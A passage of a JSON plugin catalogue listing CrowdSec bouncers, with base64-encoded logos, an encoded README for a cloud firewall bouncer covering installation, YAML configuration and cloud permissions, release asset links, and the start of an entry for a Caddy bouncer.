iTAolInQM1Eeo8ONF2Z7Hli9fHnK7QGey5FWddcTDzSiuAgYACs024HeeMP95/zSVwMuPCiGEEEIIIYQQQgghhBBCCCGEEEIIIYQQQgghhBBCCCGEEEIIIYQQQgghhBBCCCGEEEIIIYQQQgghhBBCCCGEEEIIIYQQQgghhBBCCCGEEEIIIYQQQgghhBBCCCGEEEIIIYQQQgghhBAiMv8fEXkhdG5DOgcAAAAASUVORK5CYII=", "url": "https://github.com/fallard84/cs-cloud-firewall-bouncer", "description": "Crowdsec Cloud Firewall Bouncer", "stars": 13, "downloads": 151, "readme_content": "PHAgYWxpZ249ImNlbnRlciI+CjxhIGhyZWY9Imh0dHBzOi8vZ2l0aHViLmNvbS9jcm93ZHNlY3VyaXR5L2Nyb3dkc2VjIj48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2Nyb3dkc2VjdXJpdHkvY3Jvd2RzZWMvcmF3L21hc3Rlci9kb2NzL2Fzc2V0cy9pbWFnZXMvY3Jvd2RzZWNfbG9nby5wbmciIGFsdD0iQ3Jvd2RTZWMiIHRpdGxlPSJDcm93ZFNlYyIgd2lkdGg9IjQwMCIgaGVpZ2h0PSIyNDAiIHN0eWxlPSJtYXgtd2lkdGg6MTAwJTsiPjwvYT4KPC9wPgo8cCBhbGlnbj0iY2VudGVyIj4KPGEgaHJlZj0naHR0cHM6Ly9naXRodWIuY29tL2ZhbGxhcmQ4NC9jcy1jbG91ZC1maXJld2FsbC1ib3VuY2VyL2FjdGlvbnM/cXVlcnk9d29ya2Zsb3clM0FidWlsZCc+PGltZyBzcmM9J2h0dHBzOi8vZ2l0aHViLmNvbS9mYWxsYXJkODQvY3MtY2xvdWQtZmlyZXdhbGwtYm91bmNlci93b3JrZmxvd3MvYnVpbGQvYmFkZ2Uuc3ZnJyBhbHQ9J0J1aWxkIFN0YXR1cycgLz48L2E+CjxhIGhyZWY9J2h0dHBzOi8vZ2l0aHViLmNvbS9mYWxsYXJkODQvY3MtY2xvdWQtZmlyZXdhbGwtYm91bmNlci9hY3Rpb25zP3F1ZXJ5PWJyYW5jaCUzQW1haW4rd29ya2Zsb3clM0F0ZXN0cyc+PGltZyBzcmM9J2h0dHBzOi8vZ2l0aHViLmNvbS9mYWxsYXJkODQvY3MtY2xvdWQtZmlyZXdhbGwtYm91bmNlci93b3JrZmxvd3MvdGVzdHMvYmFkZ2Uuc3ZnP2JyYW5jaD1tYWluJyBhbHQ9J1Rlc3RzIFN0YXR1cycgLz48L2E+CjxhIGhyZWY9J2h0dHBzOi8vY292ZXJhbGxzLmlvL2dpdGh1Yi9mYWxsYXJkODQvY3MtY2xvdWQtZmlyZXdhbGwtYm91bmNlcj9icmFuY2g9bWFpbic+PGltZyBzcmM9J2h0dHBzOi8vY292ZXJhbGxzLmlvL3JlcG9zL2dpdGh1Yi9mYWxsYXJkODQvY3MtY2xvdWQtZmlyZXdhbGwtYm91bmNlci9iYWRnZS5zdmc/YnJhbmNoPW1haW4nIGFsdD0nQ292ZXJhZ2UgU3RhdHVzJyAvPjwvYT4KPGEgaHJlZj0naHR0cHM6Ly9nb3JlcG9ydGNhcmQuY29tL3JlcG9ydC9naXRodWIuY29tL2ZhbGxhcmQ4NC9jcy1jbG91ZC1maXJld2FsbC1ib3VuY2VyJz48aW1nIHNyYz0naHR0cHM6Ly9nb3JlcG9ydGNhcmQuY29tL2JhZGdlL2dpdGh1Yi5jb20vZmFsbGFyZDg0L2NzLWNsb3VkLWZpcmV3YWxsLWJvdW5jZXInIGFsdD0nR28gUmVwb3J0IENhcmQnIC8+PC9hPgo8YSBocmVmPSdodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL01JVCc+PGltZyBzcmM9J2h0dHBzOi8vaW1nLnNoaWVsZHMuaW8vYmFkZ2UvTGljZW5zZS1NSVQteWVsbG93LnN2ZycgYWx0PSdMaWNlbnNlOiBNSVQnIC8+PC9hPgoKPC9wPgoKPHAgYWxpZ249ImNlbnRlciI+CiYjeDFGNERBOyA8YSBocmVmPSIjaW5zdGFsbGF0aW9uLWFzLWEtc3lzdGVtZC1zZXJ2aWNlIj5Eb2N1bWVudGF0aW9uPC9hPgomI3gxRjRBMDsgPGEgaHJlZj0iaHR0cHM6Ly9odWIuY3Jvd2RzZWMubmV0Ij5IdWI8L2E+CiYjMTI4MTcyOyA8YSBocmVmPSJodHRwczovL2Rpc2NvdXJzZS5jcm93ZHNlYy5uZXQiPkRpc2NvdXJzZSA8L2E+CjwvcD4KCiMgQ3Jvd2RTZWMgQ2xvdWQgRmlyZXdhbGwgQm91bmNlcgoKQm91bmNlciBmb3IgY2xvdWQgZmlyZXdhbGxzIHRvIHVzZSB3aXRoIFtDcm93ZHNlY10oaHR0cHM6Ly9naXRodWIuY29tL2Nyb3dkc2VjdXJpdHkvY3Jvd2RzZWMpLgoKOndhcm5pbmc6IFRoaXMgaXMgbm90IGFuIG9mZmljaWFsIENyb3dkc2VjIGJvdW5jZXIuCgpUaGUgQ2xvdWQgRmlyZXdhbGwgQm91bmNlciB3aWxsIHBlcmlvZGljYWxseSBmZXRjaCBuZXcgYW5kIGV4cGlyZWQvcmVtb3ZlZCBkZWNpc2lvbnMgZnJvbSB0aGUgQ3Jvd2RTZWMgTG9jYWwgQVBJIGFuZCB1cGRhdGUgY2xvdWQgZmlyZXdhbGwgcnVsZXMgYWNjb3JkaW5nbHkuCgpTdXBwb3J0ZWQgY2xvdWQgcHJvdmlkZXJzOgoKLSBHb29nbGUgQ2xvdWQgUGxhdGZvcm0gKEdDUCkgTmV0d29yayBGaXJld2FsbDpoZWF2eV9jaGVja19tYXJrOgotIEdvb2dsZSBDbG91ZCBQbGF0Zm9ybSAoR0NQKSBDbG91ZCBBcm1vcjpoZWF2eV9jaGVja19tYXJrOgotIEFtYXpvbiBXZWIgU2VydmljZXMgKEFXUykgTmV0d29yayBGaXJld2FsbCA6aGVhdnlfY2hlY2tfbWFyazoKCiMjIFVzYWdlIHdpdGggZXhhbXBsZQoKQSBjb21wbGV0ZSBzdGVwLWJ5LXN0ZXAgZXhhbXBsZSBvZiB1c2luZyB0aGUgYm91bmNlciBkb2NrZXIgaW1hZ2Ugd2l0aCB0aGUgR0NQIHByb3ZpZGVyIGlzIGF2YWlsYWJsZSBbaGVyZV0oZG9jcy9leGFtcGxlLWdjcC5tZCkuCgojIyBVc2luZyBEb2NrZXIKCllvdSBjYW4gcnVuIHRoaXMgYm91bmNlciB1c2luZyB0aGUgW2RvY2tlciBpbWFnZV0oaHR0cHM6Ly9odWIuZG9ja2VyLmNvbS9yL2ZhbGxhcmQvY3MtY2xvdWQtZmlyZXdhbGwtYm91bmNlcikuCgpZb3Ugd2lsbCBuZWVkIHRvIGNyZWF0ZSB0aGUgY29uZmlndXJhdGlvbiBmaWxlIGFuZCBtb3VudCBpdCBvbiB0aGUgZG9ja2VyIGNvbnRhaW5lci4gQnkgZGVmYXVsdCwgdGhlIGJvdW5jZXIgd2lsbCBsb29rIGZvciB0aGUgY29uZmlnIGF0IGAvZXRjL2Nyb3dkc2VjL2NvbmZpZy5kL2NvbmZpZy55YW1sYCBidXQgdGhpcyBjYW4gYmUgb3ZlcnJpZGRlbiB3aXRoIHRoZSBgQ09ORklHX1BBVEhgIGVudmlyb25tZW50IHZhcmlhYmxlLgoKIyMgSW5zdGFsbGF0aW9uIChhcyBhIHN5c3RlbWQgc2VydmljZSkKCiMjIyBXaXRoIGluc3RhbGxlcgoKRmlyc3QsIGRvd25sb2FkIHRoZSBsYXRlc3QgW2Bjcy1jbG91ZC1maXJld2FsbC1ib3VuY2VyYCByZWxlYXNlXShodHRwczovL2dpdGh1Yi5jb20vZmFsbGFyZDg0L2NzLWNsb3VkLWZpcmV3YWxsLWJvdW5jZXIvcmVsZWFzZXMpLgoKYGBgc2gKJCB0YXIgeHp2ZiBjcy1jbG91ZC1maXJld2FsbC1ib3VuY2VyLnRnegokIHN1ZG8gLi9pbnN0YWxsLnNoCmBgYAoKIyMjIEZyb20gc291cmNlCgpSdW4gdGhlIGZvbGxvd2luZyBjb21tYW5kczoKCmBgYGJhc2gKZ2l0IGNsb25lIGh0dHBzOi8vZ2l0aHViLmNvbS9mYWxsYXJkODQvY3MtY2xvdWQtZmlyZXdhbGwtYm91bmNlci5naXQKY2QgY3MtY2xvdWQtZmlyZXdhbGwtYm91bmNlci8KbWFrZSByZWxlYXNlCnRhciB4enZmIGNzLWNsb3VkLWZpcmV3YWxsLWJvdW5jZXIudGd6CmNkIGNzLWNsb3VkLWZpcmV3YWxsLWJvdW5jZXItdiovCnN1ZG8gLi9pbnN0YWxsLnNoCmBgYAoKIyMjIFN0YXJ0CgpJZiB5b3VyIGJvdW5jZXIgcnVuIG9uIHRoZSBzYW1lIG1hY2hpbmUgYXMgeW91ciBjcm93ZHNlYyBsb2NhbCBBUEksIHlvdSBjYW4gc3RhcnQgdGhlIHNlcnZpY2UgZGlyZWN0bHkgc2luY2UgdGhlIGBpbnN0YWxsLnNoYCB0b29rIGNhcmUgb2YgdGhlIGNvbmZpZ3VyYXRpb24uCgpgYGBzaApzdWRvIHN5c3RlbWN0bCBzdGFydCBjcy1jbG91ZC1maXJld2FsbC1ib3VuY2VyCmBgYAoKIyMjIFVwZ3JhZGUKCklmIHlvdSBhbHJlYWR5IGhhdmUgYGNzLWNsb3VkLWZpcmV3YWxsLWJvdW5jZXJgIGluc3RhbGxlZCBhcyBhIHNlcnZpY2UsIHBsZWFzZSBkb3dubG9hZCB0aGUgW2xhdGVzdCByZWxlYXNlXShodHRwczovL2dpdGh1Yi5jb20vZmFsbGFyZDg0L2NzLWNsb3VkLWZpcmV3YWxsLWJvdW5jZXIvcmVsZWFzZXMpIGFuZCBydW4gdGhlIGZvbGxvd2luZyBjb21tYW5kcyB0byB1cGdyYWRlIGl0OgoKYGBgYmFzaAp0YXIgeHp2ZiBjcy1jbG91ZC1maXJld2FsbC1ib3VuY2VyLnRnegpjZCBjcy1jbG91ZC1maXJld2FsbC1ib3VuY2VyLXYqLwpzdWRvIC4vdXBncmFkZS5zaApgYGAKCiMjIENvbmZpZ3VyYXRpb24KCkJlZm9yZSBzdGFydGluZyB0aGUgYGNzLWNsb3VkLWZpcmV3YWxsLWJvdW5jZXJgIHNlcnZpY2UsIHBsZWFzZSBlZGl0IHRoZSBjb25maWd1cmF0aW9uIHRvIGFkZCB5b3VyIGNsb3VkIHByb3ZpZGVyIGNvbmZpZ3VyYXRpb24sIGFzIHdlbGwgYXMgdGhlIGNyb3dkc2VjIGxvY2FsIEFQSSB1cmwgYW5kIGtleS4KVGhlIGRlZmF1bHQgY29uZmlndXJhdGlvbiBmaWxlIGlzIGxvY2F0ZWQgdW5kZXIgOiBgL2V0Yy9jcm93ZHNlYy9jcy1jbG91ZC1maXJld2FsbC1ib3VuY2VyL2AKCmBgYHNoCiQgdmltIC9ldGMvY3Jvd2RzZWMvY3MtY2xvdWQtZmlyZXdhbGwtYm91bmNlci9jcy1jbG91ZC1maXJld2FsbC1ib3VuY2VyLnlhbWwKYGBgCgpgYGB5YW1sCmNsb3VkX3Byb3ZpZGVyczogIyAxIG9yIG1vcmUgcHJvdmlkZXIgbmVlZHMgdG8gYmUgc3BlY2lmaWVkCiAgZ2NwOgogICAgcHJvamVjdF9pZDogZ2NwLXByb2plY3QtaWQgIyBvcHRpb25hbCBpZiB1c2luZyBhcHBsaWNhdGlvbiBkZWZhdWx0IGNyZWRlbnRpYWxzLCB3aWxsIG92ZXJyaWRlIHByb2plY3QgaWQgb2YgdGhlIGFwcGxpY2F0aW9uIGRlZmF1bHQgY3JlZGVudGlhbHMKICAgIG5ldHdvcms6IGRlZmF1bHQgIyBtYW5kYXRvcnkuIFRoaXMgaXMgdGhlIFZQQyBuZXR3b3JrIHdoZXJlIHRoZSBmaXJld2FsbCBydWxlcyB3aWxsIGJlIGNyZWF0ZWQKICAgIHByaW9yaXR5OiAwICMgb3B0aW9uYWwsIGRlZmF1bHRzIHRvIDAgKGhpZ2hlc3QgcHJpb3JpdHkpLiBBZGRpdGlvbmFsIHJ1bGVzIHdpbGwgYmUgaW5jcmVtZW50ZWQgYnkgMS4KICAgIG1heF9ydWxlczogMTAgIyBvcHRpb25hbCwgZGVmYXVsdHMgdG8gMTAuIFRoaXMgaXMgdGhlIG1heGltdW0gbnVtYmVyIG9mIHJ1bGVzIHRvIGNyZWF0ZS4gT25lIEdDUCBuZXR3b3JrIGZpcmV3YWxsIHJ1bGUgY2FuIGNvbnRhaW4gYXQgbW9zdCAyNTYgc291cmNlIHJhbmdlcy4gVXNpbmcgdGhlIGRlZmF1bHQgb2YgMTAgbWVhbnMgMjU2MCBzb3VyY2UgcmFuZ2VzIGF0IG1vc3QgY2FuIGJlIGNyZWF0ZWQuIEEgR0NQIHByb2plY3QgaGFzIGEgZGVmYXVsdCBxdW90YSBvZiAxMDAgcnVsZXMgYWNyb3NzIGFsbCBWUEMgbmV0d29ya3MuIFNlZSBodHRwczovL2Nsb3VkLmdvb2dsZS5jb20vdnBjL2RvY3MvcXVvdGEgZm9yIG1vcmUgaW5mby4KICBhd3M6CiAgICByZWdpb246IHVzLWVhc3QtMSAjIG1hbmRhdG9yeQogICAgZmlyZXdhbGxfcG9saWN5OiBwb2xpY3ktbmFtZSAjIG1hbmRhdG9yeSwgdGhpcyBpcyB0aGUgZmlyZXdhbGwgcG9saWN5IHdoaWNoIHdpbGwgY29udGFpbiB0aGUgcnVsZSBncm91cC4gVGhlIGZpcmV3YWxsIHBvbGljeSBtdXN0IGV4aXN0LgogICAgY2FwYWNpdHk6IDEwMDAgIyBvcHRpb25hbCwgZGVmYXVsdHMgdG8gMTAwMC4gVGhpcyBpcyB0aGUgY2FwYWNpdHkgb2YgdGhlIHN0YXRlbGVzcyBydWxlIGdyb3VwIHRoYXQgdGhlIGJvdW5jZXIgd2lsbCBjcmVhdGUuIEEgY2FwYWNpdHkgb2YgMTAwMCBzaWduaWZ5IHRoYXQgdGhlIHJ1bGUgd2lsbCBjb250YWluIGF0IG1vc3QgMTAwMCBzb3VyY2UgcmFuZ2VzLiBBV1MgaGFzIGEgZGVmYXVsdCBxdW90YSBvZiAxMCwwMDAgc3RhdGVsZXNzIGNhcGFjaXR5IHBlciBhY2NvdW50IHBlciByZWdpb24uIFNlZSBodHRwczovL2RvY3MuYXdzLmFtYXpvbi5jb20vbmV0d29yay1maXJld2FsbC9sYXRlc3QvZGV2ZWxvcGVyZ3VpZGUvcXVvdGFzLmh0bWwgZm9yIG1vcmUgaW5mby4gVGhpcyBjYXBhY2l0eSBpcyBvbmx5IHVzZWQgd2hlbiB0aGUgcnVsZSBpcyBiZWluZyBjcmVhdGVkIGFuZCB3aWxsIG5vdCBiZSB1cGRhdGVkIGFmdGVyd2FyZHMuCiAgICBwcmlvcml0eTogMSAjIG9wdGlvbmFsLCBkZWZhdWx0cyB0byAxIChoaWdoZXN0IHByaW9yaXR5KS4gVGhpcyBpcyB0aGUgcHJpb3JpdHkgb2YgdGhlIHJ1bGUgZ3JvdXAgaW4gdGhlIGZpcmV3YWxsIHBvbGljeS4KICBjbG91ZGFybW9yOgogICAgcHJvamVjdF9pZDogZ2NwLXByb2plY3QtaWQgIyBvcHRpb25hbCBpZiB1c2luZyBhcHBsaWNhdGlvbiBkZWZhdWx0IGNyZWRlbnRpYWxzLCB3aWxsIG92ZXJyaWRlIHByb2plY3QgaWQgb2YgdGhlIGFwcGxpY2F0aW9uCiAgICBwb2xpY3k6IHRlc3QtcG9saWN5ICMgbWFuZGF0b3J5LCB0aGlzIGlzIHRoZSBjbG91ZCBhcm1vciBwb2xpY3kgd2hpY2ggd2lsbCBjb250YWluIHRoZSBydWxlcy4gVGhlIGNsb3VkIGFybW9yIHBvbGljeSBtdXN0IGV4aXN0LgogICAgcHJpb3JpdHk6IDAgIyBvcHRpb25hbCwgZGVmYXVsdHMgdG8gMCAoaGlnaGVzdCBwcmlvcml0eSkuIEFkZGl0aW9uYWwgcnVsZXMgd2lsbCBiZSBpbmNyZW1lbnRlZCBieSAxLgogICAgbWF4X3J1bGVzOiAxMDAgIyBvcHRpb25hbCwgZGVmYXVsdHMgdG8gMTAwLiBUaGlzIGlzIHRoZSBtYXhpbXVtIG51bWJlciBvZiBydWxlcyB0byBjcmVhdGUuIE9uZSBjbG91ZCBhcm1vciBydWxlIGNhbiBjb250YWluIGF0IG1vc3QgMTAgc291cmNlIHJhbmdlcy4gQSBHQ1AgcHJvamVjdCBoYXMgYSBkZWZhdWx0IHF1b3RhIG9mIDIwMCBydWxlcyBhY3Jvc3MgYWxsIHNlY3VyaXR5IHBvbGljaWVzLiBVc2luZyB0aGUgZGVmYXVsdCBvZiAxMDAgbWVhbnMgMTAwMCBzb3VyY2UgcmFuZ2VzIGF0IG1vc3QgY2FuIGJlIGNyZWF0ZWQuIFNlZSBodHRwczovL2Nsb3VkLmdvb2dsZS5jb20vYXJtb3IvcXVvdGFzIGZvciBtb3JlIGluZm8uCnJ1bGVfbmFtZV9wcmVmaXg6IGNyb3dkc2VjICMgbWFuZGF0b3J5LCB0aGlzIGlzIHRoZSBwcmVmaXggZm9yIHRoZSBmaXJld2FsbCBydWxlIG5hbWUocykgdG8gY3JlYXRlL3VwZGF0ZQp1cGRhdGVfZnJlcXVlbmN5OiAxMHMKZGFlbW9uaXplOiB0cnVlCmxvZ19tb2RlOiBzdGRvdXQKbG9nX2RpcjogbG9nLwpsb2dfbGV2ZWw6IGluZm8KYXBpX3VybDogPEFQSV9VUkw+ICMgd2hlbiBpbnN0YWxsLCBkZWZhdWx0IGlzICJsb2NhbGhvc3Q6ODA4MCIKYXBpX2tleTogPEFQSV9LRVk+ICMgQWRkIHlvdXIgQVBJIGtleSBnZW5lcmF0ZWQgd2l0aCBgY3NjbGkgYm91bmNlcnMgYWRkIC0tbmFtZSA8Ym91bmNlcl9uYW1lPmAKYGBgCgojIyMgUnVsZSBuYW1lIHByZWZpeCByZXF1aXJlbWVudHMKClRoZSBydWxlIG5hbWUgcHJlZml4IGJlIDEtNDQgY2hhcmFjdGVycyBsb25nIGFuZCBtYXRjaCB0aGUgcmVndWxhciBleHByZXNzaW9uIGBeKD86W2Etel0oPzpbLWEtejAtOV17MCw0M30pPylcJGAuIFRoZSBmaXJzdCBjaGFyYWN0ZXIKbXVzdCBiZSBhIGxvd2VyY2FzZSBsZXR0ZXIsIGFuZCBhbGwgZm9sbG93aW5nIGNoYXJhY3RlcnMgbXVzdCBiZSBhIGRhc2gsIGxvd2VyY2FzZSBsZXR0ZXIsIG9yCmRpZ2l0LiBUaGUgbmFtZSBjYW5ub3QgY29udGFpbiB0d28gY29uc2VjdXRpdmUgZGFzaCAoJy0nKSBjaGFyYWN0ZXJzLgoKIyMgQXV0aGVudGljYXRpb24KCiMjIyBHQ1AKCkF1dGhlbnRpY2F0aW9uIHRvIEdDUCBpcyBkb25lIHRocm91Z2ggW0FwcGxpY2F0aW9uIERlZmF1bHQgQ3JlZGVudGlhbHNdKGh0dHBzOi8vY2xvdWQuZ29vZ2xlLmNvbS9kb2NzL2F1dGhlbnRpY2F0aW9uL3Byb2R1Y3Rpb24pLiBJZiB1c2luZyBhIHNlcnZpY2UgYWNjb3VudCwgdGhlIEdDUCBwcm9qZWN0IElEIHdpbGwgYmUgYXV0b21hdGljYWxseSBkZXRlcm1pbmVkICh1c2luZyB0aGUgcHJvamVjdCBJRCBvZiB0aGUgc2VydmljZSBhY2NvdW50KSBhbmQgZG9lcyBub3QgaGF2ZSB0byBiZSBzcGVjaWZpZWQgaW4gdGhlIGNvbmZpZ3VyYXRpb24uIElmIHRoZSBzZXJ2aWNlIGFjY291bnQgcmVzaWRlcyBpbiBhIGRpZmZlcmVudCBwcm9qZWN0IHRoYW4gdGhlIFZQQyBuZXR3b3JrL0Nsb3VkIEFybW9yIHBvbGljeSwgdGhlIEdDUCBwcm9qZWN0IElEIG11c3QgYmUgb3ZlcnJpZGRlbiBpbiB0aGUgY29uZmlndXJhdGlvbi4KCiMjIyMgTmV0d29yayBGaXJld2FsbAoKVGhlIHNlcnZpY2UgYWNjb3VudCB3aWxsIG5lZWQgdGhlIGZvbGxvd2luZyBwZXJtaXNzaW9uczoKCi0gY29tcHV0ZS5maXJld2FsbHMuY3JlYXRlCi0gY29tcHV0ZS5maXJld2FsbHMuZGVsZXRlCi0gY29tcHV0ZS5maXJld2FsbHMuZ2V0Ci0gY29tcHV0ZS5maXJld2FsbHMubGlzdAotIGNvbXB1dGUuZmlyZXdhbGxzLnVwZGF0ZQotIGNvbXB1dGUubmV0d29ya3MudXBkYXRlUG9saWN5CgojIyMjIENsb3VkIEFybW9yCgpUaGUgc2VydmljZSBhY2NvdW50IHdpbGwgbmVlZCB0aGUgZm9sbG93aW5nIHBlcm1pc3Npb25zOgoKLSBjb21wdXRlLnNlY3VyaXR5UG9saWNpZXMuZ2V0Ci0gY29tcHV0ZS5zZWN1cml0eVBvbGljaWVzLnVwZGF0ZQoKVGhlIG1hbmFnZWQgcm9sZSBgcm9sZXMvY29tcHV0ZS5zZWN1cml0eUFkbWluYCBhbHJlYWR5IHByb3ZpZGVzIHRoZXNlIHBlcm1pc3Npb25zLgoKIyMjIEFXUwoKQXV0aGVudGljYXRpb24gdG8gQVdTIGlzIGRvbmUgdGhyb3VnaCB0aGUgW2RlZmF1bHQgY3JlZGVudGlhbCBwcm92aWRlciBjaGFpbl0oaHR0cHM6Ly9kb2NzLmF3cy5hbWF6b24uY29tL3Nkay1mb3ItZ28vYXBpL2F3cy9kZWZhdWx0cy8jQ3JlZENoYWluKS4KClRoZSB1c2VyIGFjY291bnQgd2lsbCBuZWVkIHRoZSBmb2xsb3dpbmcgcGVybWlzc2lvbnM6CgotIExpc3RGaXJld2FsbFBvbGljaWVzCi0gTGlzdFJ1bGVHcm91cHMKLSBEZXNjcmliZUZpcmV3YWxsUG9saWN5Ci0gRGVzY3JpYmVSdWxlR3JvdXAKLSBDcmVhdGVSdWxlR3JvdXAKLSBEZWxldGVSdWxlR3JvdXAKLSBVcGRhdGVGaXJld2FsbFBvbGljeQotIFVwZGF0ZVJ1bGVHcm91cAoKVGhlIG1hbmFnZWQgcm9sZSBgTmV0d29ya0ZpcmV3YWxsTWFuYWdlcmAgYWxyZWFkeSBwcm92aWRlcyB0aGVzZSBwZXJtaXNzaW9ucy4KCiMjIFRvZG8KCi0gQWRkIEF6dXJlIGFzIGEgcHJvdmlkZXIKLSBBZGQgQVdTIFdBRiBhcyBhIHByb3ZpZGVyCg==", "status": "unstable", "version": "v0.2.0", "assets": [ { "name": "cs-cloud-firewall-bouncer.tgz", "download_url": "https://github.com/fallard84/cs-cloud-firewall-bouncer/releases/download/v0.2.0/cs-cloud-firewall-bouncer.tgz", "asset_url": "https://api.github.com/repos/fallard84/cs-cloud-firewall-bouncer/releases/assets/30030652" } ] }, { "name": "caddy-crowdsec-bouncer", "author": "hslatman", "logo": "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